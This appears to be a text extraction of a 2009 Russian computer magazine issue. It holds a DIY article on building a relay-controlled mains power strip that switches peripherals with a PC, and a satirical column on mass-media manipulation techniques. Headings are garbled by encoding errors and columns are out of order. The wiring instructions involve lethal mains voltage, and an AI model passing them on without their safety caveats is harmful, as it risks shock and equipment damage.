ÂÊËÞ×ÀÅÒÑß ÑÈÑÒÅÌÍÛÉ ÁËÎÊ, È ÂÛÊËÞ×ÀÒÜÑß, ÊÎÃÄÀ ÎÍ 
ÂÛÊËÞ×ÀÅÒÑß.

ÂÊËÞ×ÅÍÈÅ 
ÊÎÌÏÜÞÒÅÐÀ 
ÄËß ËÅÍÈÂÛÕ ÂÊËÞ×ÀÅÌ 
È ÂÛÊËÞ×ÀÅÌ ÊÎÌÏÜÞÒÅÐÍÓÞ ÏÅÐÈÔÅÐÈÞ 
ÎÄÍÎÉ ÊÍÎÏÊÎÉ

PHREAKING
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питания, проверить, подойдет ли нам имеющееся реле, можно экспе-
риментально. Для статьи предположим, что у нас реле с номинальным 
напряжением 12В, и дальше будем рассматривать только этот случай. С 
напряжением коммутации все просто. Так как мы работаем с напряжени-
ем сети, напряжение коммутации должно быть 220В переменного тока и 
выше. Ток коммутации должен быть не ниже суммарного тока, потребля-
емого устройствами, которые мы собираемся включать и выключать. Же-
лательно взять его с запасом. Эти два параметра часто тоже указываются 
на самом реле. Например, обозначение 2A250VAC или 2A250V~ означает, 
что реле можно использовать в цепи с напряжением до 250В переменного 
тока, и ток в коммутируемой цепи не должен превышать 2А.  Для своей 
конструкции я выбрал реле с номинальным напряжением обмотки 12В и 
рассчитанное на коммутируемый ток до 10А при напряжении 250В.

ÏÐÀÊÒÈÊÀ
Самый простой вариант состоит из нужного количества розеток и реле. 
Если размеры розеток позволяют, можно расположить реле внутри од-
ной из них. Если нет, то придется позаботиться об отдельной коробочке 
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ÐÅËÅÐÅËÅ

Реле представляет собой управляемый переключатель. Оно 
состоит из электромагнита и группы контактов, с которыми 
электромагнит связан механически. Когда через его обмотку 
проходит ток, контакты переключаются. Обмотка реле и контак-
ты изолированы друг от друга, а для его срабатывания обычно 
достаточно небольшого напряжения (единиц или десятков 
вольт). Таким образом, оно позволяет с помощью низкого 
напряжения управлять цепями с высоким напряжением и с 
высоким током. Реле может иметь несколько групп контактов, 
переключающихся синхронно, но при этом изолированных друг 
от друга. Существует много типов реле, но перечислять их мы 
не будем. 
В рамках статьи приведенного объяснения достаточно :).

УСТРОЙСТВА В СБОРЕ

XÀÊÅÐ  11  /131/  09

МОНТАЖ ВНУТРИ
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для него. В своей конструкции я добавил выключатель, включенный 
параллельно контактам реле. Сделал я это на случай, если по какой-то 
причине мне понадобится включить периферийные устройства, не 
включая компьютер. Например, нужно будет подключить другой ком-
пьютер, а свой при этом я включать не захочу. В использованном мной 
выключателе есть неоновая лампочка, которая светится, когда розетки 
под напряжением. Она светится вне зависимости от того, были ли они 
включены с компьютера или вручную выключателем. Таким образом, у 
меня есть дополнительная индикация включения розеток.
Конструкция и внешнее оформление устройства зависят от имеющихся 

в наличии деталей и умения того, кто его делает. Для себя я решил, что 
мне хватит четырех розеток. Сами розетки расположил на небольшой 
деревянной дощечке. На ней же расположен выключатель и пластиковая 
коробочка, где находится реле. Поскольку в устройстве присутствует высо-
кое напряжение, представляющее опасность для жизни, конструкция 
ОБЯЗАНА быть закрытой. Высоковольтная часть должна быть хорошо изо-
лирована, чтобы устройство не представляло опасности для окружающих.
Разъем, с помощью которого наше устройство будет соединяться с ком-
пьютером, удобно установить на одной из металлических планок, которые 
закрывают места для плат расширения. Тип разъема большого значения 
не имеет, главное, чтобы он обеспечивал нормальный контакт. В первом 
варианте этого устройства, собранном несколько лет назад, у меня нор-
мально работали 3.5 мм штекер и гнездо для наушников. В планке, где он 
был установлен, пришлось просверлить вручную отверстие для установ-
ки гнезда. В нынешнем варианте я использовал разъем DB-9 (типа мама, 
чтобы отличался от COM-портов). Если в будущем понадобится вывести 
из корпуса еще какие-то провода, можно будет использовать его же. Кро-
ме того, для него можно найти готовую планку и не сверлить ее.
Монтаж особых трудностей не представляет. Для фазы и нуля стоит ис-
пользовать провода разного цвета — это уменьшит вероятность напутать 
что-либо в соединениях. Цепь 12В должна иметь хорошую изоляцию от 
остальных цепей. Попадание напряжения сети на шину питания может 
привести к повреждению как самого компьютера, так и подключенных 
к нему устройств и других компьютеров. Монтаж внутри устройства пока-
зан на фото 2. Устройство в готовом виде показано на фото 3.

ÏÀÍÅËÜ ÓÏÐÀÂËÅÍÈß
Итак, наше устройство для тех, кому лень нажать несколько кнопок, 
готово. Все само включается и само выключается, все прекрасно и мы 
довольны. Но бывают случаи, когда системный блок должен оставать-
ся включенным, а все остальное можно выключить. Например, мы 
оставляем компьютер включенным на ночь для скачивания, а дисплей, 
колонки и принтер можно вырубить. В нынешнем виде наше устройство 

МОНТАЖ ОСОБЫХ ТРУДНОСТЕЙ 
НЕ ПРЕДСТАВЛЯЕТ. ДЛЯ ФАЗЫ 
И НУЛЯ СТОИТ ИСПОЛЬЗОВАТЬ 
ПРОВОДА РАЗНОГО ЦВЕТА — 
ЭТО УМЕНЬШИТ ВЕРОЯТНОСТЬ 
НАПУТАТЬ ЧТО-ЛИБО В СОЕДИ-
НЕНИЯХ.

ÏÐÅÄÓÏÐÅÆÄÅÍÈÅ!ÏÐÅÄÓÏÐÅÆÄÅÍÈÅ!

1. Изготовление описан-
ной в статье конструкции 
подразумевает работу 
с напряжением сети, 
которое опасно для 
жизни. 
2. Неправильная или нека-
чественная сборка опи-
санной конструкции может 
привести к попаданию 
напряжения сети на детали 
компьютера, которые для 
этого не предназначены. 
Последствия могут быть 
самыми непредсказуемыми 
для компьютера, работаю-

щих за ним людей и даже 
для других подключенных к 
нему компьютеров.
Из сказанного следует:
3. Не беритесь за повторе-
ние данного устройства, 
если у вас нет достаточных 
навыков и понимания, что 
именно и как нужно делать. 
За испорченное здоровье, 
вышедшие из строя компью-
теры и вызванные прочте-
нием этой статьи стихийные 
бедствия и природные 
катаклизмы я ответствен-
ности не несу!

ÂÍÓÒÐÅÂÍÓÒÐÅ Ó ÍÅÃÎ ÍÅÎÍÊÀ Ó ÍÅÃÎ ÍÅÎÍÊÀ

На фотографии показана 
переделка выключателя на 
панели управления. Неоно-
вая лампочка была заменена 
шестью соединенными пос-
ледовательно красными све-
тодиодами. Последовательно 
с ними был включен и токо-

ограничивающий резистор. 
Сначала был выбран номинал 
47Ом (именно он показан на 
фотографии); впоследствии 
он был увеличен до 100Ом. В 
результате падение напряже-
ния на светодиодах составило 
1.9В при токе 6.6мА.

ПАНЕЛЬ УПРАВЛЕНИЯ

XÀÊÅÐ  11  /131/  09

PHREAKING
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такой возможности не дает, то есть снова нужно выключать все по отде-
льности — и мы получим то, чего хотели избежать.
Для реализации такой возможности потребуется дополнительный 
выключатель, который будет отключать напряжение сети или напряже-
ние с обмотки реле. Можно поставить его на само устройство, но если 
оно будет расположено в труднодоступном месте, будет не очень удобно. 
Поэтому мы расположим его на лицевой панели системного блока, где 
доступ к нему неограничен. В этом случае он будет отключать напря-
жение с обмотки реле. Тип выключателя большого значения не имеет. 
Обмотка реле обычно потребляет небольшой ток, поэтому мы несильно 
ограничены в выборе, но все же перед тем, как использовать конкрет-
ный выключатель, следует проверить, подойдет ли он по току.
Для своей конструкции я выбрал выключатель, показанный на фото . 
Внутри него есть лампочка, которая при включении светится, обеспе-
чивая дополнительную индикацию. Так как он изначально рассчитан на 
напряжение сети, пришлось заменить его «родную» неоновую лампочку 
на светодиоды. Выключатель я расположил на одной из пластмассовых 
планок, которые закрывают отсеки для 5.25” приводов. Такая планка 
неплохо закреплена в корпусе и поскольку от нее не требуется нести 
большую нагрузку, собственного ее крепления вполне достаточно. К 
тому же, она легко обрабатывается, и не составило труда проделать в ней 
отверстие прямоугольной формы. Получившаяся панель управления со 
всеми проводами и разъемами показана на фото.

ÇÀÊËÞ×ÅÍÈÅ
Несмотря на свою простоту, описанное устройство очень удобно 
в использовании. Оно получилось универсальным и при желании 

мы с его помощью сможем включать даже расположенную рядом 
с компьютером настольную лампу, если используем ее, только 
когда сидим за компьютером. Полностью отключая периферийные 
устройства от сети, оно обеспечивает также их защиту от бросков 
напряжения. При желании все можно доработать и создать более 
сложные конфигурации.
Например, если у нас в доме один компьютер и есть модем, воз-
можно, мы захотим, чтобы модем оставался включенным, когда мы 
отключаем остальные устройства с панели управления. Для этого 
к имеющейся конструкции можно добавить еще одно реле, которое 
будет выключать только модем, и подключить его к напряжению пи-
тания без дополнительного выключателя. Таким образом, если нам 
надо будет оставить компьютер включенным на ночь, мы вырубим 
дисплей, колонки и принтер, а модем продолжит работать. Когда 
мы выключим компьютер, модем выключится вместе с остальными 
устройствами.
Если у нас есть два компьютера с выходом в интернет, можно сделать 
отдельное устройство для выключения модема и маршрутизатора. В 
этом случае мы поставим два реле. Их контакты соединим параллельно, 
а каждую обмотку запитаем от своего компьютера. Таким образом, модем 
и маршрутизатор будут включаться при включении хотя бы одного из 
компьютеров и выключаться, если оба компьютера выключены и выход в 
интернет не нужен.
Если нет желания добавлять что-либо в системный блок компьютера, 
можно использовать реле с напряжением срабатывания до 5В и запи-
тать их от порта USB. В этом случае важно, чтобы потребляемый реле ток 
не превышал максимально возможный для USB-порта. z

СХЕМА УСТРОЙСТВА



Â 
отличие от сентябрьского psycho, 
где я рассматривал способы, кото-
рыми отдельные индивиды натяги-
вают других отдельных индивидов, 
тайно заставляя их изменить свои 

мотивации в пользу манипулятора, в этой 
статье я рассмотрю вещи более масштабные. 
А именно — способы, с помощью которых ин-
дивид или группа хитрых индивидов транс-
лируют свою точку зрения сотням и тысячам 
людей сразу. И заметь —  это без использо-
вания всякой злой магии или каких-нибудь 
тайных психологических нанометодик с при-
менением 25-го нанокадра. Все гениальное 
— просто!

Îïðåäåëåíèå В прошлой статье 
я предложил твоему вниманию следующее 
определение манипуляции: «манипуляция — 
это такое скрытое действо, которое позволяет 
одному, обладающему определенным навыком, 

человеку, склонить другого (менее умелого или 
более слабого) к изменению своих желаний, 
мотиваций или линии поведения в пользу 
манипулятора, причем не прямым обманом или 
угрозой, а таким хитрым способом, при котором 
он окажется как бы сам ответственным за при-
нятое решение».
Рассмотрим отличия манипуляции индивиду-
альной от манипуляции массовой.
• Разница в интеллектуальном уровне. Да, 
здесь все так же: манипулятор — более хитрая 
и интеллектуальная личность, нежели его 
жертва. Кстати, интеллект в данном случае не 
обязательно подразумевает баллы в SMS-тесте 
на IQ или количество высших образований на 
душу населения (хотя сейчас этим занимаются 
в основном профессионалы). Имеет большое 
значение и такая вот исконная, сермяжная 
хитрость, которая позволяет выпускникам 
третьего класса средней школы впоследствии 
ездить на «Мерседесе Гелендвагене». Да, 

такие люди не смогут поддержать философской 
дискуссии про то, сколько ангелов могут уме-
ститься на кончике иглы, а вот одурманить сот-
ню тысяч псевдоинтеллектуалов — пожалуйста. 
Опять же, вспомни прошлую статью и обрати 
внимание на то, что абсолютное большинство 
манипуляций реализуется людьми обычными, 
и учат их этому не академии или умные книжки, 
а объективная реальность.
• Тайное и явное. Манипуляция на индивиду-
альном уровне может и не быть скрытой — клас-
сический пример: подружка появляется перед 
тобой в эротическом наряде в тот самый мо-
мент, когда ты собираешься идти в кабак, пить 
огненную воду и смотреть матч Антигуа против 
Барбуды. Манипулирует ли она тобой? Да, она и 
не отрицает факт манипуляции (ñòðîãî ãîâî-
ðÿ, ïîäîáíîå óïðàâëÿþùåå âîçäåéñòâèå 

íå ÿâëÿåòñÿ ìàíèïóëÿöèåé, ïîñêîëüêó 

èíèöèàòîð ñòðåìèòñÿ äîñòè÷ü îáîþäíîé 

âûãîäû è íå íàíîñèò ïñèõîëîãè÷åñêîãî 
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PSYCHO: 
ÑÐÅ ÄÑÒ ÂÀ Ì ÀÑÑÎÂÎÃÎ ÇÎÌÁÈÐÎÂÀ ÍÈ ß

Ñ ï î ñ î á û ,  ï ð è å ì û  è  ì å õ à í è ç ì û  ì à í è ï ó ë ÿ ö è è  ì à ñ ñ î -

â û ì  ñ î ç í à í è å ì  ñ  è ñ ï î ë ü ç î â à í è å ì  Ñ Ì È
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UNITS ЛОЗОВСКИЙ АЛЕКСАНДР LOZOVSKY@GAMELAND.RU

Глобализация вообще и развитие технологий в частности упро-
стили и сделали эффективными не только торговлю, общение 

и транспортировку человеческих организмов из пункта А в пункт 
Б. Они значительно модернизировали управление общественным 
мнением, мировоззрением и мотивацией каждого конкретного 
маленького человечка. И действительно — больше не нужно на-
нимать глашатаев, подкупать опинион-лидеров в тавернах, чтобы 
они агитировали местных алконавтов за правильного государя, 

и платить редкими минералами злым магам, кастующим зомбиро-
вание третьего уровня на жителей городов и весей.



è/èëè ìàòåðèàëüíîãî óùåðáà 

ñâîåé æåðòâå — Прим.ред.) Тем 
не менее, все шансы на успех у нее 
есть :). Манипуляции массовые 
почти всегда скрываются по той 
причине, что их раскрытие приво-
дит к бурлению масс, скандалам, 
тщательным расследованиям и 
строгим наказаниям кого попало.
•  Отношение. Индивидуальный ма-
нипулятор относится к своей жертве 
как к некоей вещи, которая служит 
исполнению его планов. Манипу-
лятор массовый относится к своим 
подопечным абсолютно так же.
•  Выбор без выбора. В сентябрь-
ской статье я писал, что манипуля-
тор управляет жертвой не прямым 
обманом или угрозой, а путем 
создания ситуации «выбора без 
выбора» и грамотной, доброволь-
ной передачей ответственности 
с манипулятора на его жертву. 
В манипуляциях массовых все 
происходит точно так же, но с 
большим размахом. Например, в 
рекламном ремесле этот под-
ход возможен, но осложняется 
конкуренцией — товаров в одной 
категории несколько, и каждый 
из них стремится прозомбировать 
тебя на покупку именно его. В 
политическом деле все обстоит 

несколько проще — создание 
иллюзии отсутствия выбора («от 
моего голоса ничего не зависит») 
путем, например, афиширования 
непонятных соцопросов (99% по-
ловозрелых индивидуумов Бутато-
рии будут голосовать за Народно-
Освободительную Партию Мкомбу 
(НОПМ)), публикации лидера 
проплаченной партии в выгодном 
свете, дискредитации оппонентов, 
избирательной подачи информа-
ции в целом и пр.

Ìàíèïóëÿöèè 
â ÑÌÈ Средства массовой 
информации — исходя из своего 
определения, являются бесспор-
ным лидером в области воздейс-
твия на общественное сознание. 
Кстати, сейчас ты держишь в руках 
самое настоящее печатное сред-
ство массовой информации, и оно 
тоже тобой манипулирует! Но об 
этом — чуть позже. Пока рассмот-
рим конкретные приемы и уловки, 
используя которые СМИ воздей-
ствуют на мировоззрение, личные 
и общественные ценности и точку 
зрения широких масс. Поскольку 
мне бы очень хотелось избежать 
всяческой политоты в своем рас-
сказе (до недавнего времени мне 

это казалось невозможным, по-
скольку и СМИ, и даже книжки про 
манипуляции посредством этих 
самых СМИ на поверку оказывают-
ся полны политотой на все 120%), я 
буду приводить примеры исключи-
тельно нейтральные. Например, из 
жизни сказочных королевств. Нет, 
я не геймер, не тролль 10-го уровня 
и не толканутый с деревянным 
мечом наперевес. Просто примеры 
у меня такие :).
•  Создание псевдореально-
сти. СМИ давно вышли из роли 
простого поставщика важной 
информации заинтересованным 
в ней людям. А может быть, они 
никогда эту роль и не играли. 
Так или иначе, сегодня СМИ, 
во-первых, сами генерируют 
новости (в том числе и про себя 
же), а во-вторых, представляют 
собой некую виртуальную реаль-
ность, затягивающую в себя всех 
склонных к этому личностей (в 
основном это касается теле-
видения). Склонный к зависи-
мости человек погружается в эту 
полную ништяков (псевдообще-
ние, развлечения, информация) 
виртуальную реальность, со 
временем принимая ее правила 
так же, как погруженный в новое 

общество человек со временем 
принимает правила и авторите-
тов этого общества. Несмотря на 
кажущуюся простоту, этот прием 
— самый действенный. Человек 
— животное (вру, не животное) 
стадное, поговорки про то, как не 
стоит ходить в чужой монастырь 
со своим уставом и в чужое ка-
пище со своим идолом сочиняет 
именно он, авторитетов, домини-
рующую точку зрения и правила 
поведения в новых для себя 
обществах воспринимает легко. 
Ну, или не совсем легко, — если 
общество очень уж непривычное, 
то после периода «ломки»… но 
воспринимает.
Сомневаюсь, что среди наших 
читателей есть телеманьяки, но 
все же дам пару советов относи-
тельно того, как этого избежать. 
Во-первых, не смотри телевизор 
:). Если ты его все же смотришь, 
то сделай так, чтобы просмотр го-
лубого экрана был для тебя делом 
глубоко вторичным. Общайся в 
реале, общайся в интернете, читай 
новости из нескольких источни-
ков, если уж тебе так неймется 
(например, скачай MDigger на 
КПК или смартфон и наслаждайся 
кучей информационных каналов 

Врага нужно знать в лицо!

«Generation П» — мощный 
наркотический угар от 
Пелевина на тему СМИ. 
Очень советую!
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одновременно). Во-вторых, прочти мою статью 
«День Зависимости» в апрельском z, крепко 
подумай и реши, относишься ли ты к личностям 
с зависимым или истероидным расстройством? 
Не имеет ли твое отношение к ящику черт за-
висимости (психическая зависимость, «повы-
шение дозы», мысли о телевизоре в свободное 
время)? Если да, то выход один — проси своего 
лучшего друга закрутить тебе руки за спину и 
оттранспортировать твое скорбное умом тело 
в сторону ближайшего психоневрологическо-
го диспансера. Шучу-шучу. На самом деле, 
дочитай до конца статью про зависимости, 
там вопрос лечения вполне разносторонне 
рассмотрен. А я тем временем продолжу статью 
нынешнюю.
Кстати, возможно, ты думаешь, что эпоха 
телеманьяков ушла в прошлое, уступив место 
маньякам сетевым? Спешу разочаровать, это 
тебе только так кажется, поскольку, возможно, 
твой круг общения и сфера интересов вклю-
чают в основном людей, давно отказавшихся 
от просмотра ТВ. На самом деле, статистиче-
ское большинство по-прежнему находится 
во власти зловещего зомбоэкрана, который с 
прежней силой затягивает людей, заставляя 
их подменять реальное общение наблюдением 
за общением виртуальным (тупые ситкомы, 
не менее тупые ток-шоу) и воспринимать не 
менее тупые и однобокие новости как истину в 
последней инстанции.
•  Взрыв мозга. Современная наука толком 
не знает, является ли большинство зрителей 
зомбоканалов людьми не сильно умными изна-
чально, или таковыми их делает живительное 

излучение телеканалов, но факт 
остается фактом — широкие 
массы наслаждаются искромет-
ным юмором про похороны тещи, 
на которых порвали два баяна, и 
крайне актуальными ток-шоу, где 
большое количество участвующих 
специалистов и приглашенных 
звезд решают морально-этическую 
проблему, суть которой заклю-
чается в том, что пчелы фермера деревни 
«Будущее» укусили за попу соседку пейзанина, 
приезжую из Москвы женщину-инженера. 
Вполне логично предположить, что отупевший, 
не способный к критическому восприятию 
информации телезритель представляет собой 
более удобную мишень для промывания мозга. 
Многие «конспирологи» даже выдвигают 
мысли о некоем «заговоре», имеющем своей 
целью отупить народонаселение, но лично 
мне кажется, что все намного проще. Просто 
нужно признать, что численное большинство 
населения в целом — не гиганты мысли и не 
отцы русской демократии :). Тем более, что от 
интернета тоже тупеют. Гы, сынок. ЛОЛ.
•  Карфаген должен быть разрушен. Один 
могучий римский деятель постоянно (в том 
числе и совершенно не в кассу) употреблял на 
собраниях сената фразу «Карфаген должен 
быть разрушен». Употреблял он ее не просто 
так, а с тайной, истинно манипулятивной целью 
— подготовить общественное сознание к войне 
с Ганнибалом. В результате, когда в сенате 
соответствующий вопрос был поставлен перед 
уважаемым собранием, ни у кого не возникло 

сомнений, что Карфаген должен-таки быть 
разрушен. Манипуляция состоялась — посто-
янное повторение какого-либо утверждения, 
в том числе и не подкрепленного никакими 
объяснениями и не сопровождающегося 
никаким внятным обоснованием, способ-
ствует проникновению оного в подсознание и 
потому работает на «ура». Повторенье — мать 
не только ученья, а народная пословица «раз 
назовут свиньей, два назовут, а на третий раз 
— сам захрюкаешь» имеет под собой мощное 
психологическое обоснование.
•  Сегодня я дала врагу народа. Этим бес-
совестно стащенным у Даниила Шеповалова 
заголовком я ознаменую следующий манипу-
лятивный прием: создание образа врага. Враг 
народа — всесторонне полезная штука, он по-
тешает людей и отвлекает внимание широких 
масс от проблем настоящих. На всякий случай 
ознакомлю тебя с текущим списком истинных 
врагов согласно классификации господина 
Федотова (вообще-то он работает аналитиком 
в Инфовотче и к психологии манипуляций 
особого отношения не имеет, но мне его точка 
зрения нравится). Итак, враги бывают внеш-
ние, внутренние и супер-внутренние. Враги 
внешние — это, конечно, злые СыШиА и их не 
менее злые антагонисты — терроры междуна-
родные. Враги внутренние — педофилы. Враги 
супер-внутренние, сидящие в каждом из нас — 
нарушители прав интеллектуальной собствен-
ности. Ну да ладно, ты прервись ненадолго, 
посмотри новости про то, как агенты импе-
риализма реализуют свои антироссийские 
планы, орды педофилов… эээ… делают то же 
самое, но с другого конца, а на Митинобазаре 
совершенно случайно был выявлен и зверски 
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Кино по теме заказывали? Получите!

UNITS

z — печатное СМИ, которое 
тоже тобой манипулирует!
Ну, соврал. Ну, завлек читателя красивым заголовком. А что поделаешь? Тема статьи 
обязывает! На самом-то деле z тобой не манипулирует. Разве что самую малость — «соз-
дание псевдореальности». Хотя о какой псевдореальности здесь идет речь? Реальность 
настоящая, никакого обмана. Общение никакими псевдоальтернативами (пиши нам пись-
ма, ответим) не подменяется, информация реальности соответствует, никаких уток мы не 
публикуем. Интеллектуальный уровень — не снижаем, а повышаем. Наслаждайся!
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уничтожен киоск с сотнями (!!!) 
пиратских DVD, а я тут пока попью 
чайку и продолжу свое скорбное 
повествование.
•  Персонализированный авто-
ритет. Думаю, мне не нужно аппе-
лировать к рассказам психологов 
о наших темных родственниках-
павианах, лидеры которых раз-
махивали своими гигантскими 
эрегированными фаллосами 
перед толпой собратьев, чтобы 
ты поверил мне, что точка зрения 
персонифицированного (ФИО, 
должность, регалии) авторитета 
в своей области гораздо более 
эффективно проникает в сознание 
жертвы, чем мнение человека 
левого. Ну, или не совсем левого 

— так или иначе, рекламе зубного 
порошка «Ядерный» в исполне-
нии (якобы) врача-стоматолога 
высшей категории Дупловича З.И. 
будет априори более эффективна, 
нежели та же самая реклама в 
исполнении тетеньки, которая 
до этого снималась в рекламе 
средства для мытья посуды, а еще 
ранее — исполняла роль стра-
дающей от геморроя женщины в 
рекламе обезболивающих свечей. 
Чтобы не поддаться на данную 
манипуляцию и не быть прозомби-
рованным (псевдо?) авторитетом, 
используй собственную голову. 
Будь умеренным нигилистом 
(умеренным, я сказал!), критиче-
ски обдумывай всю услышанную 

информацию. Кто этот человек? Ну 
и что, что он врач-стоматолог? А 
может быть, он тоже актер? А даже 
если и стоматолог, что с того? Если 
инженер-программист высшей 
категории, к.т.н., с экрана посо-
ветует мне снести Win7 и поставить 
вместо нее полуось, я что, его 
послушаюсь? А все эти одобрения 
различных НИИ? Есть ли в нашей 
стране НИИ, которые за опреде-
ленное количество килограммов 
самородного золота не поставят 
свою визу под какими хочешь ис-
следованиями? Роль авторитета 
не обязательно исполняет некий 
профессор, им может быть любой 
«типично-лубочный» профес-
сионал в своей области. Жирная 

тетка средних лет с неизвестным 
акцентом в роли харизматической 
домохозяйки, брутальный усатый 
мужик более чем средних лет в 
роли рукастого рабочего, мудрый 
седовласый человек с усталыми, 
понимающими глазами в роли 
доброго волшебника на голубом 
вертолете. Тьфу, то есть, политика.
• Избирательная подача информа-
ции. Есть подозрение, что ты и сам 
знаешь, как непросто оно бывает 
— выяснить реальное положение 
вещей или реальную хронологию 
развития каких-либо событий. 
Причем, событий не общемирово-
го масштаба, а простых, житейских 
— с чего это вдруг во дворе уни-
вера возник мордобой, и кто кому, 
в итоге, навешал. Один скажет, 
что это студент А показал кулак 
студенту Б, за студента А впряглись 
студенты Г, Д и Е, а навешали, все 
же, студенту А. Другой скажет, что 
нет, это только кажется, что он ему 
показал кулак; на самом-то деле, 
это студент Б, по слухам, согрешил 
с девушкой студента А, потом кто-
то кому-то что-то сказал, а чей-то 
кулак тут совершенно не причем. И 
студенту А вовсе никто не навешал, 
ему просто разбили нос, а студент 
Б с виду здоровый, а на самом-то 
деле лежит в больнице с вос-

палением легких — надышался во 
время драки холодного воздуха. В 
общем, опроси отдельно студентов 
А, Б или их друзей Г, Д и Е — полу-
чишь совершенно разные версии 
происшедшего. Что уж говорить о 
событиях глобальных? Тем более, 
пропущенных через призму разума 
целого ряда журналистов и их 
руководителей? Ничего. Поэтому 
просто забей болт и почаще вспо-
минай классический анекдот: «И 
не студент, а доцент кафедры. И не 
в лотерею, а в преферанс. И не ма-
шину, а сто рублей. И не выиграл, а 
проиграл».
•  Слухи и скрытые источники. Ко-
роль Ардании балуется некроман-
тией? Военноначальник Блис-
флинда курит опийный мак? Из 
источников, близких к руководству 
Объединенных Магических Орде-
нов, нам стало известно, что маги-
ческие кристаллы, продающиеся 
рядовым гражданам, возможно, 
необратимо искажают их ауру. Вот 
она, манипуляция общественным 
мнением без публикации явного 
вранья! Вопрос-то поставлен? 
Поставлен! Ответ на него нам 
неизвестен, может быть, он и не 
балуется никакой некроманти-
ей, даже и живого мертвеца-то 
никогда не видел. В общественном 
же сознании знак вопроса очень 
быстро растворится, уступив место 
гораздо более горячей и инте-
ресной информации. Скрытый 
источник поведал? Поведал! 
Близок он к руководству? Близок, 
это же тот бродяга, который живет 
прямо около здания Магических 
Орденов, в сточной канаве. Пресса 
у нас свободная, поэтому ничто 
не мешает ей дать слово этому 
последнему бродяге. А то, что он 
пожелал остаться неизвестным — 
что ж с того, его личное право.
•  Тонкости формулировки. У пло-
хих — шпионы. У хороших — раз-
ведчики. Плохие, вот они, другие 
— они убивают, расстреливают, 
вешают и гильотинируют. Хорошие 
(наши) такими вещами не занима-
ются. Они никого не убивают, они 
только ликвидируют, уничтожают 
и элиминируют наймитов темной 
стороны силы. Плохие — развязы-
вают войны и боевые операции. 
Хорошие ни с кем не воюют. Они 
борются за мир. За примером 
далеко ходить не надо: играю я в 
«Majesty 2» и вижу, что около моей 
башни околачивается вражеский 
паладин 6-го уровня и ее, башню, 
рушит. Навожу курсор, смотрю 

ИЗ ИСТОЧНИКОВ, БЛИЗКИХ К РУКОВОДСТВУ ОБЪ-
ЕДИНЕННЫХ МАГИЧЕСКИХ ОРДЕНОВ, НАМ СТАЛО 
ИЗВЕСТНО, ЧТО МАГИЧЕСКИЕ КРИСТАЛЛЫ, ПРО-
ДАЮЩИЕСЯ РЯДОВЫМ ГРАЖДАНАМ, ВОЗМОЖНО, 
НЕОБРАТИМО ИСКАЖАЮТ ИХ АУРУ.
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статус: «брат такой-то, уничтожает 
зло». Отлично! Это моя-то башня 
зло!?
•  Яркие слоганы и запоминающи-
еся ассоциации. «Лучший эль — в 
таверне «Шмель»! «Маг Вирнак — 
курит табак, спички ворует, девок 
целует!» Красивые рифмованные 
слоганы и песенки «со смыслом», 
вирусно поселяющиеся в нашем 
сознании и вращающиеся там 
целый рабочий день, обещают 
большую выгоду своим авторам. 
В результате широкому слушате-
лю маг Вирнак будет известен 
не как изобретатель эликсира 
дезинтеграции, обеспечившего 
королевству победу в последней 
войне с орками, а исключительно 
своим аморально-асоциальным 
(якобы?) образом жизни. Ну и кто 
за такого мага проголосует на 
следующих выборах в Коро-
левское Собрание? Уж точно не 
большинство. С положительными 
ассоциациями ситуация анало-
гичная — проходя сквозь ряды 
кабаков в припортовом районе 
королевства, средний рыцарь 
наверняка зайдет в ту шарагу, 
ассоциация с лучшим элем в кото-
рой уже прочно укоренилась в его 
подсознании. Пожалуй, сюда же, к 
«ярким слоганам», я отнесу и яр-
кие подзаголовки, которые сами 
по себе (или намеками; помнишь 
«невысказанное и додуманное»?) 
оказываются настолько порази-
тельны, что заставляют падкого на 
сенсации читателя купить данное 
печатное издание. Больше про 
эти заголовки я тебе не буду ни-
чего рассказывать — эта метода 
давно мигрировала из печатной 
прессы в интернеты, и ты на-
верняка представляешь, на какие 
сайты ведут ссылки типа «Что 
под юбкой у Аллы Пугачевой» или 
«Президент сделал страшную 

вещь!», и какую информацию ты 
сможешь получить.
• Правило трех «Да». Ардания — 
великая страна? Да! Мы все живем 
в Ардании? Да! В Ардании великое 
количество источников магии? Да! 
Хозяин Зла — наш новый повели-
тель? Да! Товарищ Эриксон (гугли 
«Эриксоновский гипноз» — тоже к 
нему отношение имеет) выявил, а 
НЛП’исты впоследствии развили 
интересный принцип. Скажешь 
«Да» три раза — скажешь и в 
четвертый. Просто и эффективно, 

хотя, разумеется, эффективность 
не равна ста процентам. Как ее 
снизить? Очень просто: когда ты 
смотришь рекламу, участвуешь в 
публичных выступлениях и прочих 
культмассовых мероприятиях с 
тамадой и баянистом, выявляй и 
избегай серийно произносимых, 
банальных утверждений, с кото-
рыми любой дурак согласится — 
трюизмов. Если ты видишь перед 
собой источник трюизмов — начи-
най брать паузы. Считай до десяти 
и обдумывай каждое утвержде-
ние. Таким простым способом ты 
избавишь себя от зомбирующего 
влияния этого правила.
•  Срочной авиапочтой. Впервые 
пошел на поводу у, очевидно, 
проспонсированного авиапоч-
тальонами Ворда, который при 

слове «срочно» всегда советует 
вставить именно этот вариант про-
должения фразы. В контексте СМИ 
срочность новости определяет ее 
приоритетность — одна срочная 
новость вытесняет другую, смещая 
интерес читателя от новостей, воз-
можно, более важных для него в 
жизненно-тактическом плане. При 
отсутствии в мире реально сроч-
ной новости может быть опублико-
вана и откровенная муть, которая, 
тем не менее, по мнению руково-
дителей СМИ, будет более срочной 

и важной, нежели увеличение на-
логов в королевстве при снижении 
процента отчислений на научные 
исследования и развлечения. 
Благодаря такому избирательному 
подходу к освещению новостей 
жители королевства дольше будут 
пребывать в спокойном состоянии 
духа, не будут бузить или требовать 
от руководства построить себе 
Храм, Акведук или Колизей.

Çàêëþ÷åíèå «А как же 
интернеты?» — наверняка спросит 
меня интернет-озабоченный чита-
тель. А никак — только по мнению 
суровых шестидесятилетних дядек 
с брюшком и лысиной, интернеты 
относятся к средствам массовой 
информации. На самом-то деле 
всемирная Сеть — это всемир-

ная Сеть. Отдельный феномен, 
отдельный мир. Слава ему! В ин-
тернете манипулятивных приемов 
хватит на всех, и в частности, 
примеры всех вышеописанных ты 
там найдешь с легкостью. Кстати, 
есть там и особое оружие для со-
циофобичных и нигилистически 
настроенных интеллектуалов — 
«большие папочки». В отличие от 
Big Daddy из «Биошока», большой 
папочка из интернетов не обязан 
представлять собой набор транс-
плантированных в водолазный 
костюм органов. В реале он может 
представлять собой что угодно, 
в виртуале же данная личность 
преобразуется в облик сурового, 
умудренного жизнью и обладаю-
щего объемистым багажом прак-
тических знаний дяденьку. Думаю, 
для тебя не секрет, что некий про-
